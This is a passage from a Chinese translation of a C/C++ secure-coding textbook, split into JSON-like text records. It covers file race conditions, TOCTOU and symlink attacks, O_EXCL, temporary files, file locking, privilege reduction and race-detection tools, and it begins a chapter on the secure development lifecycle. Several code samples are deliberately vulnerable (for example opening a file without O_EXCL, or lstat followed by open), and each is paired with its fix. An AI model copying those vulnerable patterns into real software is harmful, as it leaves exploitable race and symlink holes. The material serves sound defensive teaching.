API中功能等同的_tfopen（）和_wfopen（）应被视为与fopen（）一样。 符号链接广泛应用于利用的部分原因是，它们在创建时不检查链接的所有者拥有目标文件的权限，甚至目标文件也没必要存在。攻击者只需要在创建链接的目录中有写的权限。 Windows支持一个称为快捷方式（shortcut）的概念，它类似于符号链接。然而，符号链接攻击很少能在Windows程序上工作，在很大程度上是因为API包括许多主要的文件函数都依赖于文件句柄而不是文件名，也因为许多编程性Windows函数不把快捷方式识别为链接。"},
    {"text": "未知 8.5.2 创建而不替换 C标准fopen（）函数和POSIX open（）函数都将打开一个现有的文件，如果指定的文件不存在，则创建一个新的文件。防止攻击者在现有的文件上操作的方法之一是，仅当文件不存在时才打开一个文件。如果我们的目标是创建一个新的文件，而不是打开一个现有的文件，这非常有意义—为什么反而给攻击者机会利用漏洞来操作一个受限制的文件呢？为了消除任何潜在的竞争条件，无论是确定该文件是否存在的测试，还是打开的操作，都必须自动进行。 例如，下面的代码使用POSIX open（）函数打开一个文件用于写入。 01 char *file_name; 02 int new_file_mode; 03 04 /* 初始化 file_name 和 new_file_mode */ 05 06 int fd = open( 07 file_name, O_CREAT | O_WRONLY, new_file_mode 08 ); 09 if (fd == -1) { 10 /* 处理错误 */ 11 } 如果在open（）调用执行时file_name已经存在，那么打开该文件，并截断它。此外，如果file_name是一个符号链接，那么该链接引用的目标文件被截断。攻击者所有需要做的事就是在此调用之前在file_name创建一个符号链接。假设这个有漏洞的过程有相应的权限，那么目标文件将被覆写。 使用open（）函数的一个解决方案是使用O_CREAT和O_EXCL标志。在一起使用这些标志时，它们指示如果file_name中指定的文件已经存在，那么open（）函数就会失败。 01 char *file_name; 02 int new_file_mode; 03 04 /* 初始化 file_name 和 new_file_mode */ 05 06 int fd = open( 07 file_name, O_CREAT | O_EXCL | O_WRONLY, new_file_mode 08 ); 09 if (fd == -1) { 10 /* 处理错误 */ 11 } 检查文件的存在并在它不存在时创建文件，这相对于其他正在对同一个目录中相同名称的文件名执行设置O_EXCL和O_CREAT的open（）的线程是原子的。此外，如果设置了O_EXCL和O_CREAT，且file_name是一个符号链接，那么不管符号链接的内容是什么，open（）都会失败，并把errno设置为[EEXIST]。如果设置了O_EXCL但未设置O_CREAT，那么结果是不确定的。对远程文件系统使用O_EXCL时应小心，因为它不能在NFS版本2上工作。NFS版本3中增加了对O_EXCL模式的open（）的支持。IETF RFC 1813定义了CREATE的模式参数的EXCLUSIVE（独占）值[Callaghan 1995]： EXCLUSIVE指定服务器遵循独占创建语义，使用验证器，以确保目标的独占创建。在这种情况下，因为服务器可能使用目标文件的元数据存储createverf3验证器，所以没有属性可以被提供。 在C11之前，fopen（）函数调用没有提供任何机制来确保只有当文件不存在时才被创建。C11 fopen（）函数功能规格说明加入了一种独占模式（模式参数中的最后一个字符为x），它复制了open（）中O_CREAT | O_EXCL的行为。在指定独占模式时,如果该文件已经存在或无法创建，那么打开失败。否则，文件以独占式（非共享）访问底层系统支持独占访问的范围的方式被创建。在附录K指定的fopen_s（）函数也可以用来以独占（非共享）访问方式打开文件： 1 errno_t res = fopen_s(&fp, file_name, \"wx\"); 2 if (res != 0) { 3 /* 处理错误 */ 4 } 《C安全编码标准》[Seacord 2008]，“FIO03-C.不要对fopen（）和文件的创建作出假设”，包含了一些额外的解决方案。 例8.14显示了在C++中打开一个流之前，测试文件存在的一种常见用法。据推测，这代码背后的有缺陷的思维是，如果可以打开一个文件用于读取，那么它必须存在。当然，还有其他与文件的存在性无关的原因导致无法打开文件用于读取。此代码还包含一个TOCTOU漏洞，因为在第9行测试文件的存在和第13行的打开文件都使用文件名。再次，这段代码可以通过在执行9行和13行之间的过程中的竞争窗口，创建一个具有相同文件名的符号链接来利用其漏洞。 例8.14 在打开文件时有TOCTOU漏洞的代码 01 #include <iostream> 02 #include <fstream> 03 04 using namespace std; 05 06 int main(void) { 07 char *file_name /* = 初始值 */; 08 09 ifstream fi(file_name);// 尝试作为输入文件打开 10 if (!fi) { 11 // 文件不存在，所以它是安全的[ 原文] 12 // 创建并写入它 13 ofstream fo(file_name); 14 // 写入到file_name 15 // ... 16 } 17 else { // / 文件存在，关闭并处理错误 18 fi.close(); 19 // 处理错误 20 } 21 } 一些C++实现支持ios::noreplace和ios::nocreate标志。ios::noreplace标志的行为类似于open（）中的O_CREAT | O_EXCL，如果文件已经存在，并尝试打开它，那么这个操作会失败，因为它无法在相同的位置创建一个相同名称的文件。ios::nocreate标志将不会创建一个新的文件。遗憾的是，在C++标准中流函数没有原子等价物，因为不是所有的平台都支持这些功能。目前，在C++中执行一个原子打开的唯一方法是使用前面描述的C语言解决方案之一。CERT C++安全编码标准[SEI 2012b]包含类似的规则，“FIO03-CPP.不要对fopen（）和文件的创建作出假设。”"},
    {"text": "未知 8.5.3 独占访问 由独立的进程产生的竞争条件不能用同步原语来解决，因为这些过程不可能访问共享的全局数据（如一个互斥变量）。 C标准附录K，“边界检查接口”包括fopen_s（）函数。在底层系统支持的概念的程度上，为写入而打开的文件以独占（也称为非共享）访问方式打开。你将需要检查具体实现的文档，以确定系统支持独占访问到什么程度，并为缺乏这种能力的环境提供另一种解决方案。 通过将文件当作锁来使用，仍可以同步这类并发控制流。例8.15包含两个函数，它们实现了一个Linux文件锁（file- locking）机制。对lock（）的调用用于获得锁，而对unlock（）的调用则可以释放锁。 例8.15 Linux中的简单文件锁定 01 int lock(char *fn) { 02 int fd; 03 int sleep_time = 100; 04 while (((fd=open(fn, O_WRONLY | O_EXCL | 05 O_CREAT, 0)) == -1) && errno == EEXIST) { 06 usleep(sleep_time); 07 sleep_time *= 2; 08 if (sleep_time > MAX_SLEEP) 09 sleep_time = MAX_SLEEP; 10 } 11 return fd; 12 } 13 void unlock(char *fn) { 14 if (unlink(fn) == -1) { 15 err(1, \"file unlock\"); 16 } 17 } lock（）和unlock（）都接收一个文件名作为共享锁对象。共享进程必须对可共享的文件名和目录达成一致。锁文件（lock file）用作锁的代理。如果文件存在，则锁被获得；如果文件不存在，则锁被释放。 这种锁实现机制的一个缺点是open（）函数不会阻塞。因此，lock（）函数必须反复调用open（）函数，直到可以创建文件为止。这种重复有时称为忙等（busy form of waiting）或自旋锁（spinlock）。遗憾的是，自旋锁执行的重复调用和条件测试需要耗费计算时间。例8.15中的代码任意选择了一个100微秒的初始睡眠时间。这个时间在每次对锁的检查后都翻倍（一直升至某个用户定义的常量时间MAX_SLEEP），以试图减少对计算时间的浪费。 这种类型的锁定[Viega 2003]的另外一个弊端是，如果持有锁的进程调用unlock（）失败，则文件锁将一直被保持。例如，进程崩溃就可能会造成这种情况。常用的修补方案是修改lock（）函数，将锁定进程的ID（PID）写到锁文件中。当发现一个现有的锁时，新版lock（）将检查文件中保存的PID，并与活动进程列表进行比较。在锁定文件的进程已经终止的情况下才可以获得锁，并更新锁文件以包含新的PID。 尽管使用这种技术在进程崩溃后进行清理的方法听起来还不错，然而它至少存在3点风险： 1.终止进程的PID有可能被重用。 2.除非非常谨慎地进行实现，否则修补方案可能会包含竞争条件。 3.被锁保护的共享资源可能由于进程的崩溃也受到破坏。 Windows支持一种更好的跨进程同步方案—命名互斥体（named mutex）对象。命名互斥体拥有一个类似于文件系统的命名空间。调用CreateMutex（）时传入互斥体的名字。CreateMutex（）创建一个互斥体对象（如果它尚未存在），并返回互斥体句柄（mutex handle）。命名互斥体的获取和释放是通过WaitForSingleObject（）（一种阻塞形式的获取）和ReleaseMutex（）完成的。如果进程在持有一个互斥体的时候终止了，那么该互斥体也会被释放。任何被阻塞的进程都可以检测到这种非预期的释放。 利用POSIX命名信号量（named semaphore）可以实现类似的功能。 线程同步原语，与驻留在共享存储器中的同步对象，也可以被用于同步过程。然而，必须小心地确保同步对象，多个进程已意识到，如在POSIX线程中设置pshared属性。 无论是用共享内存线程同步原语、命名信号量、命名的互斥体还是文件作为锁，进程同步的最大不足在于这种技术纯粹是“自愿的”。两个很大程度上独立的进程可以使用这一技术来协作，并有效避免共享文件或网络套接字的竞争条件。然而，攻击者是出了名的不合作！ 一个紧密相关但又不存在“自愿”问题的概念是文件锁（file lock）。文件或文件区域可以被锁定，从而阻止两个进程并发地对其进行访问。Windows支持两种形式的文件锁定：共享锁（shared lock）禁止对锁定的文件区域的所有写访问，但允许所有进程的并发读访问；排他锁（exclusive lock）则对锁定的进程授予不受限制的文件访问权，同时拒绝所有其他进程的访问。对LockFile（）的调用可以获得共享访问；排他访问可以经由LockFileEx（）实现。在这两种情况下，都可以通过调用UnlockFile（）来移除锁。 共享锁和排他锁都可以消除锁定区域中发生竞争条件的可能性。排他锁类似于一种互斥解决方案，共享锁则通过移除“改变锁定的文件区域的状态（这是竞争条件的一个必备属性）”的可能性，以消除竞争条件。 这些Windows文件锁定机制称为强制性锁（mandatory lock），因为每一个尝试访问锁定的文件区域的进程都受到限制。Linux既实现了强制性锁，又实现了建议性锁（advisory lock）。建议性锁并不是由操作系统强迫实施的，从安全角度来看，这大大减小了其价值。遗憾的是，由于下列原因，在Linux上强制性文件锁功能同样大打折扣：（1）强制性锁只在本地文件系统上有效，而无法扩展到网络文件系统（NFS和AFS）；（2）文件系统必须挂载（mount）有对于强制性锁的支持，而这个选项在默认情况下是禁用的；（3）锁依赖于组ID位（group ID bit），而这一位可以被另一个进程关闭（从而使锁失效）。"},
    {"text": "未知 8.5.4 共享目录 当两个或更多用户，或一组用户都拥有对某个目录的写权限时，共享和欺骗的潜在风险比对几个文件的共享访问情况要大得多。因通过硬链接和符号链接的恶意重建所导致的漏洞告诉我们最好避免共享目录。8.6.3节将介绍在不得不使用共享目录的情况下，如何尽量减少对它们的访问。 程序员经常在对所有用户都是可写（如UNIX上的/tmp和/var/tmp目录和Windows上的C:\\TEMP）并可以定期清除（例如，每天晚上或重启时）的目录中创建临时文件。 临时文件常用于辅助存储并不需要或者不能驻留在内存中的数据，并通过文件系统传输数据，作为与其他进程进行通信的一种手段。例如，一个进程用一个众所周知的名字或一个临时名称在共享目录中创建一个临时文件，并把它传达给合作的进程，那么就可以使用该文件，在这些合作的进程之间共享信息。 这是一个危险的做法，因为一个在共享目录中的众所周知的文件很容易被攻击者劫持或操纵。缓解战略包括以下内容： ·使用其他低级别的IPC（进程间通信）机制，如套接字或共享内存。 ·使用更高级别的IPC机制，如远程过程调用。 ·使用只能被应用实例（确保在同一平台上运行的应用程序的多个实例不存在竞争）访问的安全目录或jail。 有很多不同的IPC机制，其中一些需要使用临时文件而其他不使用。使用临时文件的IPC机制的一个例子是POSIX的mmap（）函数。Berkeley套接字、POSIX本地IPC套接字、System V共享内存都不需要临时文件。由于多用户共享目录的性质带来的固有的安全风险，因此不鼓励利用IPC使用共享临时文件。 在共享目录创建临时文件没有完全安全的方式。为了降低风险，可以把文件创建为具有独特并且不可预知的文件名、仅当文件不存在时打开（原子打开）、用独占访问模式打开、用适当权限打开，并在程序退出之前删除。 独特的并且不可预知的文件名 。在所有用户可写的目录中创建临时文件的特权程序可以被利用以覆写受限文件。能预测由特权程序创建的文件名称的攻击者，可以创建一个符号链接（与程序所使用的文件具有相同的名称），指向一个受保护的系统文件。临时文件的名称都必须是唯一的（所以它们不与现有的文件名冲突）并且对攻击者是不可预知的。如果攻击者可以发现随机数生成算法和种子，那么即使是使用随机数发生器为文件命名可能都是不安全的。 创建而非替换 。仅当此文件不存在时才应建立临时文件。确定该文件是否存在的测试和打开文件必须作为原子操作执行，以消除任何潜在的竞争条件。 独占访问 。独占访问给予锁定过程无限制的文件访问，而拒绝所有其他进程访问，并消除锁定区域上潜在的竞争条件。 适当的权限 。应该用执行所需操作（通常由文件的所有者读取和写入）的必要权限的最小集合来打开临时文件。 终止前删除 。不再需要临时文件时删除它们，允许文件名和其他资源（如辅助存储器）得以回收。在异常终止的情况下，没有确定的方法，可以保证删除孤立的文件。出于这个原因，广泛采用由系统管理员手动调用或由一个守护进程运行的临时文件来清理实用程序以定期清扫临时目录，并删除旧文件。然而，对于基于文件的攻击，这些工具本身是脆弱的，并经常需要使用共享目录。在正常运行过程中，程序有责任确保删除临时文件，或通过使用库例程，如tmpfile_s（），保证程序终止后删除临时文件。 表8.4列出了常见的临时文件的函数和它们各自符合这些标准的情况。 表8.4 临时文件创建函数比较 注：a如果程序异常终止，则这个行为是实现定义的。 安全地创建临时文件容易出错，并且依赖于使用的C运行时库的版本、操作系统和文件系统。例如，在本地挂载的文件系统上工作的代码，当使用远程安装的文件系统时，可能是脆弱的。此外，这些函数都是有问题的。唯一安全的解决方案是不要在共享目录中创建临时文件。《C安全编码标准》[Seacord 2008]，“FIO43-C.不要在共享目录中创建临时文件”，列举了很多的例子，用来展示对表8.4列出的函数不安全使用，以及在没有更好的替代品的这种不太可能的情况下，在共享目录中创建临时文件的一些相对安全的解决方案。 未知 8.6 缓解策略 幸运的是，如果你的程序正确地管理权限，那么检查符号链接或者硬链接的存在性在绝大多数情况下是不必要的。如果用户传递给你一个符号链接或硬链接，只要他有权限修改这个文件，谁在乎呢？创建硬链接或者符号链接，不会改变实际文件的权限。例如，想防止用户覆写受保护文件的setuid程序，应（暂时）放弃特权并用实际用户ID执行I/O。 根据第7章介绍的竞争条件的三个基本属性，可以对与竞争相关的漏洞的缓解措施进行分类。这一节将考察： 1.从本质上移除并发属性的缓解措施。 2.用以消除共享对象属性的技术。 3.通过控制对共享对象的访问来消除改变状态属性的缓解方法。 其中某些措施已经在本章稍早部分提及，这些节也予以了回顾。我们鼓励软件开发人员采取深层防御，并在适当的时机组合适用的缓解措施。"},
    {"text": "UNIX和Windows支持很多能够在一个多线程应用程序中实现临界区的同步原语，包括互斥变量、信号量、管道、命名管道、条件变量、CRITICAL_SECTION（临界区）对象以及锁变量等。"},
    {"text": "如果一个EnterCriticalRegion（）调用允许与另一个EnterCriticalRegion（）调用（也许是由另一个线程调用的）重叠，或者与一个LeaveCriticalRegion（）调用重叠，那么这些函数内部可能会存在竞争条件。"},
    {"text": "如果成功地打开了文件，则用fstat（）函数把有关该文件的信息读入到orig_st结构。 在关闭文件，然后重新打开该文件后，把有关该文件的信息读入new_st结构，并对orig_st和new_st中的st_dev和st_ino域进行比较，以提高识别的正确性。"},
    {"text": "例8.16 检查-使用-检查模式 01 struct stat orig_st; 02 struct stat new_st; 03 char *file_name; 04 05 /* 初始化 file_name */ 06 07 int fd = open(file_name, O_WRONLY); 08 if (fd == -1) { 09 /* 处理错误 */ 10 } 11 12 /*... 写入文件 ...*/ 13 14 if (fstat(fd, &orig_st) == -1) { 15 /* 处理错误 */ 16 } 17 close(fd); 18 fd = -1; 19 20 /* ... */ 21 22 fd = open(file_name, O_RDONLY); 23 if (fd == -1) { 24 /* 处理错误 */ 25 } 26 27 if (fstat(fd, &new_st) == -1) { 28 /* 处理错误 */ 29 } 30 31 if ((orig_st.st_dev != new_st.st_dev) || 32 (orig_st.st_ino != new_st.st_ino)) { 33 /* 文件被篡改了！"},
    {"text": "*/ 34 } 35 36 /*... 从文件中读取 ...*/ 37 38 close(fd); 39 fd = -1; 这使得程序能够识别出一个攻击者是否在第一次close（）和第二次open（）之间交换了文件。"},
    {"text": "该示例使用lstat（）函数来收集有关文件的信息，检查st_mode域，以确定该文件是否是一个符号链接，如果它不是一个符号链接，那么打开该文件。 例8.17 利用检查–使用–检查模式检查符号链接 01 char *filename = /* 文件名 */; 02 char *userbuf = /* 用户数据 */; 03 unsigned int userlen = /* userbuf 字符串长度 */; 04 05 struct stat lstat_info; 06 int fd; 07 /* ... */ 08 if (lstat(filename, &lstat_info) == -1) { 09 /* 处理错误 */ 10 } 11 12 if (!S_ISLNK(lstat_info.st_mode)) { 13 fd = open(filename, O_RDWR); 14 if (fd == -1) { 15 /* 处理错误 */ 16 } 17 } 18 if (write(fd, userbuf, userlen) < userlen) { 19 /* 处理错误 */ 20 } 这个代码在lstat（）调用和随后的open（）调用之间包含一个TOCTOU竞争条件，因为这两个函数都对同一个文件名进行操作，而该程序的执行可以对此文件名进行异步操作。 应用“检查-使用-检查”模式可采取如下步骤： 1.对文件名调用lstat（） 2.调用open（）来打开文件 3.对open（）返回的文件描述符调用fstat（） 4.比较调用lstat（）和fstat（）返回的文件信息，以确保文件是相同的 此解决方案如例8.18所示。 例8.18 利用检查–使用–检查模式检测竞争条件 01 char *filename = /* 文件名 */; 02 char *userbuf = /* 用户数据 */; 03 unsigned int userlen = /* userbuf 字符串长度 */; 04 05 struct stat lstat_info; 06 struct stat fstat_info; 07 int fd; 08 /* ... */ 09 if (lstat(filename, &lstat_info) == -1) { 10 /* 处理错误 */ 11 } 12 13 fd = open(filename, O_RDWR); 14 if (fd == -1) { 15 /* 处理错误 */ 16 } 17 18 if (fstat(fd, &fstat_info) == -1) { 19 /* 处理错误 */ 20 } 21 22 if (lstat_info.st_mode == fstat_info.st_mode && 23 lstat_info.st_ino == fstat_info.st_ino && 24 lstat_info.st_dev == fstat_info.st_dev) { 25 if (write(fd, userbuf, userlen) < userlen) { 26 /* 处理错误 */ 27 } 28 } 尽管此代码并未消除竞争条件，但它可以检测任何试图利用此竞争条件把文件替换为符号链接的行为。"},
    {"text": "例8.19 使用O_NOFOLLOW标志 1 char *file_name = /* 某个东西 */; 2 char *userbuf = /* 某个东西 */; 3 unsigned int userlen = /* userbuf 字符串长度 */; 4 5 int fd = open(file_name, O_RDWR | O_NOFOLLOW); 6 if (fd == -1) { 7 /* handle error */ 8 } 9 write(fd, userbuf, userlen); 该解决方案完全消除了竞争窗口。"},
    {"text": "未知 8.6.2 消除竞争对象 竞争条件的存在，部分原因是某个对象（竞争对象）被并行的执行流所共享。如果可以消除共享对象或移除对共享对象的访问，那么就不可能存在竞争漏洞了。这一节将基于通过移除竞争对象来缓解竞争条件漏洞的概念，介绍常用的安全实践。 搞清楚共享了什么 。人们常教育孩子“与他人共享水杯的危险性”，同样的道理，程序员也需要意识到共享软件资源的固有危险性。关于竞争条件，我们需要关注那些有能力维护状态的资源。要确定哪些资源是共享的，需要从识别并发的源头（即共享活动的参与者）开始。 同一台计算机上任何两个并发的执行流都可以共享访问该计算机的设备和系统提供的形形色色的资源。其中最重要也最容易产生漏洞的共享资源是文件系统。Windows系统还拥有另一个关键的共享资源—注册表。 我们很容易忽视系统提供的共享机制，因为它看起来和软件领域相去甚远。一个在某个目录内创建文件的程序，也许会受到距离根目录数层的另一个目录内的竞争条件的影响。对注册表的恶意修改也可能会移除软件运行所必需的权限。通常来说，针对系统共享资源的最佳缓解措施与系统管理而非软件工程更加相关。安全起见，应该为系统资源设置最小的访问权限，并且应该定期地安装安全补丁。 软件开发人员也应该消除对系统资源不必要的使用，以尽量减小漏洞的暴露。比方说，Windows的ShellExecute（）函数尽管是为打开一个文件提供了便利的方式，但是这个命令依赖于注册表来选择一个将要应用于文件的应用程序。显而易见，调用CreateProcess（）并显式指定应用程序的做法比依赖注册表更可取。 一般而言，进程级别的并发会稍微增加共享对象的数目。在创建子进程时，并发进程通常会继承全局变量和系统内存，包括诸如当前目录和进程权限等设置。这种继承关系并不会产生竞争条件，只要子进程和父进程都无法修改共享对象即可。例如，大多数全局变量都不会成为进程间的竞争对象，因为全局变量是被复制的，而非共享的。 然而，进程继承机制确实致使任何通过其句柄进行共享的打开的对象（最显著的就是文件）都在相关的进程中成为竞争对象的候选者。相对于未打开的文件，这种暴露的潜在危险更大，因为当创建子进程时，子进程会继承父进程对于已经打开的文件的访问权限。另一个关于继承打开的文件的潜在漏洞是，这样也许会不必要地填充子进程的文件描述符表（file descriptor table）。在最坏的情况下，这些不必要的条目会充满子进程的文件描述符表，导致拒绝服务。所有这些理由都说明，在派生子进程之前，最好首先关闭所有打开的文件，stdin、stdout和stderr除外。 UNIX的ptrace（）函数也引发了对共享资源问题的关注。一个执行ptrace（）的进程基本上可以不受限制地访问其跟踪目标的资源。这包括访问所有的内存和寄存器的值。程序员应该避免使用ptrace（），除非是编写调试器之类的应用程序，因为在调试时对内存或另一个进程的完全控制是不可或缺的。 线程级别的并发会导致最大数量的共享，相应地会导致竞争对象最大的产生机会。对等线程共享所有由系统提供的和由进程提供的共享对象，并且它们还共享所有的全局变量、动态内存和系统环境变量。比方说，在一个线程内改变PATH环境变量或当前目录，必定会被所有的对等线程观察到。在线程中，尽量少地使用全局变量、静态变量和系统环境变量，可以将潜在的竞争对象出现的可能性降至最低。 使用文件描述符，而非文件名 。在一个与文件有关的竞争条件中的竞争对象通常不是文件，而是文件所在的目录。比方说，一个符号链接漏洞利用依赖于改变目录条目或是在目录树中更高层的条目，从而改变文件名所指代的文件。一旦一个文件被打开，只要是通过其文件描述符而非文件名的目录（这是竞争的对象）对其进行访问的，该文件就不易受到符号链接攻击。通过使用fchown（）代替chown（）、使用fstat（）代替stat（）、使用fchmod（）代替chmod（），可以消除很多与文件有关的竞争条件[Wheeler 2003]。必须小心使用那些不接受文件描述符的POSIX函数，包括link（）、unlink（）、mkdir（）、rmdir（）、mount（）、unmount（）、lstat（）、mknod（）、symlink（）以及utime（）等，并且将它们视作产生竞争条件的潜在威胁。Windows中仍有可能存在与文件有关的竞争条件，不过概率小得多，因为Windows API鼓励使用文件句柄而非文件名。"},
    {"text": "未知 8.6.3 控制对竞争对象的访问 竞争对象的改变状态属性规定，“必须至少有一个（并发的）控制流会改变竞争对象的状态（有多个流可以对其进行访问）”。这表明，如果很多进程只是对共享对象进行并发的读取，那么对象将保持不变的状态，且不存在竞争条件（尽管可能会有机密性方面的考量，不过已经与竞争无关了）。在本节中我们将考察其他一些减少改变状态属性暴露的技术。 最小特权原则 。有时候，可以通过减少进程的特权来消除竞争条件，而其他时候减少特权仅仅可以限制漏洞的暴露。无论如何，最小特权原则都是一种缓解竞争条件以及其他漏洞的明智策略。 竞争条件攻击通常涉及一个策略，攻击者借以使受害代码执行本来没有（也不应该有）权限执行的函数。当然，极端的情况是当受害代码拥有root特权的时候。另一方面，如果正在执行竞争窗口的进程没有比攻击者更高的特权，那么攻击者可以利用的漏洞就很少了。 存在若干种方式可以将最小特权原则应用于缓解竞争条件。 ·在任何可能的时候，避免运行具有高级特权的进程。 ·当一个进程必须使用高级特权时，在获取对共享资源的访问前，应该使用POSIX特权管理函数或者CreateRestrictedToken（）或AdjustTokenPrivileges（）（Windows）来去除这些特权。 ·当创建了一个文件后，应该将权限限制为该文件的所有者（若有必要，稍后可以通过文件描述符调整文件的权限）。某些函数，如fopen（）和mkstemp（），要求首先调用umask（）来建立创建权限（creation permission）。 安全目录 。用以检验文件访问权限的算法必须检查的东西不仅仅包括文件自身的权限，还包括从父目录开始，向上至文件系统根目录的每一个包含目录的权限。John Viega和Matt Messier[Viega 2003]针对UNIX提出了这样的一个算法。他们的代码可以避免产生进程间的竞争条件，这是通过使用检查-使用-检查模式实现的，以确保当前目录的每一个上级目录都能够被遍历到。这种对当前目录的使用在多线程应用中需要小心实现，以避免出现竞争条件，在其他情况下这是一种检验目录可信度的有效途径。《C安全编码标准》[Seacord 2008]，“FIO15-C.保证文件操作在安全目录中执行”，也包含验证一个指定目录安全的解决方案。 chroot jail。在大多数UNIX系统中还可以使用chroot jail技术提供安全的目录结构。调用chroot（）可以有效地建立起一套与当前系统隔离的文件目录，该套目录有自己的目录树和根。新的目录树可以预防“..”、符号连接以及应用于包含目录的其他利用。安全地实现chroot jail需要相当小心[Wheeler 2003]。调用chroot（）需要超级用户特权，并且在chroot jail中的代码绝对不能以root权限执行，以免有绕过隔离目录的可能。 容器的虚拟化 。容器提供轻量级的虚拟化技术，让你隔离进程和资源，而不需要提供指令解释机制和其他完全虚拟化的复杂性。容器可以被看作是jail的高级版本，它隔离文件系统、单独的进程ID、网络命名空间等，并限制诸如内存和CPU资源的使用。 这种虚拟化形式带来的开销通常很少或根本没有，因为在虚拟分区中的程序使用操作系统的正常系统调用接口且不需要仿真或在中间的虚拟机中运行，就像全系统虚拟化技术，如VMware的情况。 容器的虚拟化可用于Linux（lxc，OpenVZ）、Windows（Virtuozzo）和Solaris。标准的Linux支持仍在完善过程中，并包含已知的安全漏洞。商业版本或OpenVZ（Linux的fork）是更加高级的。 暴露 。避免通过用户接口或其他的API暴露你的文件系统的目录结构或文件名。一个更好的方法可能是让用户指定一个键作为标识符。然后，此键可以通过一个哈希表或其他数据结构映射到文件系统中一个特定的文件，而不把文件系统直接暴露给攻击者。"},
    {"text": "未知 8.6.4 竞争检测工具 人们已经对竞争条件进行了广泛的研究，提议并开发了许多用于侦测和预防竞争条件的工具。这一节将考察三类竞争条件侦测工具，为它们以及某些关键的特性提供一些简介。 静态分析 。静态分析工具并不通过实际执行软件来进行竞争条件软件分析。这种工具对软件源代码（或者，在某些情况下，二进制执行行文件）进行解析，这种解析有时依赖于用户提供的搜索信息和准则。静态分析工具能报告那些显而易见的竞争条件，有时还能根据可察觉的风险为每个报告项目划分等级。 竞争条件侦测已经被证明是一个NP完备问题[Netzer 1990]。因此，静态竞争侦测工具都提供近似的判断。另外，C和C++都是难以进行静态分析的语言，部分原因是C中的指针和指针算术以及C++中的动态调度（dynamic dispatch）和模板等特性。因此，所有静态分析算法都被证明会导致少许漏报（false negative）（未识别出漏洞）以及频繁的误报（false positive）（被错误地识别的漏洞）。误报的情况需要软件开发人员介入分析。 动态分析 。动态分析工具通过将侦测过程与实际的程序执行相结合，克服了静态分析工具存在的一些问题。这种方式的优势在于可以使工具获得真实的运行时环境。只分析实际的执行流具有一个额外的好处，即可以减少必须由程序员进行分析的误报情况。动态侦测的主要缺点包括：（1）动态工具无法侦测未执行到的路径；（2）动态检测通常会带来巨大的运行时开销。 一个众所周知的商业工具是来自英特尔公司的Thread Checker。Thread Checker对Linux和Windows上的C++代码的线程竞争和死锁执行动态分析。Helgrind是Valgrind包的工具之一。它捕获涉及POSIX线程库的错误，但可能与其他线程原语（例如，在Linux中的futex（）系统调用）的用法混淆。Helgrind可以分析用C、C++和Fortran语言编写的程序。Helgrind可能会使性能下降100倍，因此，它仅对于测试目的有用，而不能作为一个运行时的保护计划。 未知 8.7 小结 文件I/O容易产生很多漏洞。许多这些类型的漏洞允许非特权用户和未经授权用户对特权的文件执行操作。这很容易导致无意的信息损失，更严重的情况下，可以允许攻击者在易受攻击的机器上获得root权限。 执行文件I/O安全是非常困难的，需要深入了解文件系统、操作系统和API。使文件I/O更为复杂的是，你可能事先不知道部署你的软件的平台使用的是哪些文件系统且可移植的API往往是不安全的，因为不同的平台和文件系统的安全功能有所差异。 竞争条件很微妙，难以发现，且常常被攻击者利用。它们的微妙性产生于它们的来源—并发性。并发代码在技术上比顺序代码更复杂、更难以编写、更难以理解、更难以测试。人们知道竞争条件的微妙性已经许多年，且对其进行了大量研究，然而，仍然没有“银弹（silver bullet）”式的解决方案可以避免竞争条件。 可以将竞争条件漏洞划分为两大类：（1）在多线程的进程内，由线程（受信的控制流）之间的交互作用所引起的；（2）由在有漏洞的程序之外并发的执行（非受信的流）所引起的。缓解受信线程之间的漏洞的主要措施是使用同步原语消除竞争条件。 非受信进程引起的竞争条件是很多与文件有关的知名漏洞的来源，例如符号链接漏洞和关于临时文件的漏洞。对于非受信进程引起的竞争漏洞，同步原语没有多少价值。这种问题的缓解方案需要使用“用于消除共享的竞争对象”的措施，或者小心地限制对竞争对象的访问。 人们已经开发出很多用于静态或动态地定位竞争条件的工具。其中大多数工具都有严重的不足。想通过计算来精确地识别出所有的竞争条件是不现实的，因此大多数静态工具都会产生大量的误报和漏报问题。另一方面，动态工具拥有巨大的执行时代价，并且无法发现实际执行流之外的竞争条件。许多检测工具，包括静态和动态的，都不能检测来自不可信进程的竞争条件。 然而，尽管存在这些不足，很多竞争侦测工具都已经证明它们揭露竞争条件的能力，它们甚至可以在经过严密测试的代码中发现竞争条件。"},
    {"text": "未知 第9章 推荐的实践 与Noopur Davis、Chad Dougherty、Nancy Mead和Robert Mead合著 [1] Evil is that which one believes of others. It is a sin to believe evil of others.but it is seldom a mistake. —Henry Lewis Mencken.A Mencken Chrestomathy 本书的每一章（除了本章和第1章外）都提供了各种可能导致漏洞的编程错误的详细示例，以及可能的解决方案或缓解措施。然而，有许多泛泛的缓解措施并不是针对某一类特定的漏洞或漏洞利用的，而是用于全面改进部署的应用程序的总体安全性。 本章集成了一些缓解措施、技巧和工具信息，可以帮助我们用C和C++（以及其他语言）开发并部署安全的软件。此外，本章还提供了之前各章中未包含的具体建议。 不同的缓解措施最好有区别地应用于不同的软件开发角色，包括程序员、项目经理、测试人员等。缓解措施也许适用于单一个体（如个人编码习惯等），或者适用于整个团队的决策（如开发环境设置）。因此，本章所描述的缓解措施中，有些会直接影响开发人员，而其他缓解措施对于开发人员的作用就不那么直接了。 [1] Noopur Davis 是Davis 系统公司的负责人， 该公司自1993 年以来提供软件过程管理咨询服务。Chad Dougherty 是卡内基梅隆大学的计算机科学学院的一名系统/ 软件工程师。Nancy Mead 在卡内基梅隆大学的软件工程研究所（SEI）CERT 计划担任首席研究员。Robert Mead 是澳大利亚昆士兰州政府资讯科技总监办公室信息安全项目的主任。 未知 9.1 安全开发生命周期 安全开发生命周期（Security Development Lifecycle，SDL） [1] 是由微软公司开发的一个软件安全保障过程，它由7个阶段的安全实践组成，如图9.1所示[Howard 2006]。本章也同样根据这些阶段来组织。 图9.1 安全开发生命周期（2010年微软公司。权利所有。署名–非商业性使用–共同创作共享3.0许可） SDL是与过程无关的，可以与各种各样的软件开发过程，包括瀑布模型、螺旋模型和敏捷模型结合使用。SDL是为了减少企业级软件开发的安全漏洞数量和严重程度而设计的。它是为微软的开发实践和业务驱动定制的。自2004年以来微软公司一直在强制使用SDL。 由Dan Kaminsky执行的一项纵向研究[Kaminsky 2011]使用模糊测试来确定在Microsoft Office和OpenOffice中可利用或可能利用的漏洞，这项研究表明，SDL已经帮助微软提高了软件的安全性。图9.2显示，在Microsoft Office中的可利用或可能利用的漏洞数量从Microsoft Office 2003中的126个下降到Microsoft Office 